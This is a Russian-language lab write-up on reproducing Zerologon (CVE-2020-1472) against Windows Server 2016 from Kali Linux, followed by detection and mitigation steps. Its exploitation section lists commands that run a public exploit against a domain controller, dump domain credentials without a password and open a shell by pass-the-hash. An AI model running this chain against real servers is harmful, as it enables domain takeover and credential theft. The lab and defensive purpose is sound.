Zerologon_CVE-2020-1472

Цель

Данное исследование уязвимости было направлено на создание контролируемой среды для симуляции Zerologon на Windows Server 2016 с использованием Kali Linux для целей обнаружения и смягчения последствий. Основное внимание уделялось выполнению пентеста уязвимости и демонстрации возможности управления рабочим столом без входа в систему от имени пользователя этого рабочего стола, а также обнаружению и смягчению данной уязвимости.

Полученные навыки

• Углублённое понимание средства просмотра событий Windows
• Владение Kali Linux и Impacket
• Способность выполнять атаку Zerologon

Используемые инструменты

• Коды Zerologon
• Windows Server 2016
• Kali Linux

Шаги по реализации Zerologon

Kali Linux

1. sudo su для перехода к root-пользователю
2. git clone https://github.com/dirkjanm/CVE-2020-1472
3. cd /home/kali/impacket/examples/CVE-2020-1472 (Измените каталог в соответствии с вашим каталогом)
4. /cve-2020-1472-exploit.py -n [NETBIOS] -t [IPaddress]
5. secretsdump.py -no-pass -just-dc [NETBIOS/User]$@[IP адрес]
6. wmiexec.py [Domain/User@IP] - hashes [hash]

Шаги по обнаружению Zerologon

Windows

ВАЖНО Отключите функцию безопасности

1. Откройте средство просмотра событий
2. В диспетчере сервера выберите «Журналы Windows», «Безопасность» и найдите идентификатор события 4624 (событие входа пользователя в систему) Признаки атаки Zerologon

• Субъект журналов будет иметь имя NULL SID
• Этому входу также должны быть предоставлены права администратора.
• Также можно проверить журнал 4742 (NT Authority — атакующий)

Шаги по устранению уязвимости

Microsoft выпустила доступные исправления для защиты Windows Server (2008, 2016 и 2019); именно так это было спланировано. На первом этапе при установке первого исправления (августовское исправление) домен может защищать другие подключённые устройства от устройств, не соответствующих требованиям; будет возможность защитить все присоединённые устройства с явным исключением.

Второе исправление (исправление февраля следующего года), этап принудительного применения: после установки все устройства Windows и не-Windows будут обязаны использовать защищённый удалённый вызов процедур с Netlogon. Или же явно разрешить определённые доверенные устройства. По сути, это выводит несоответствующее требование компьютер из домена.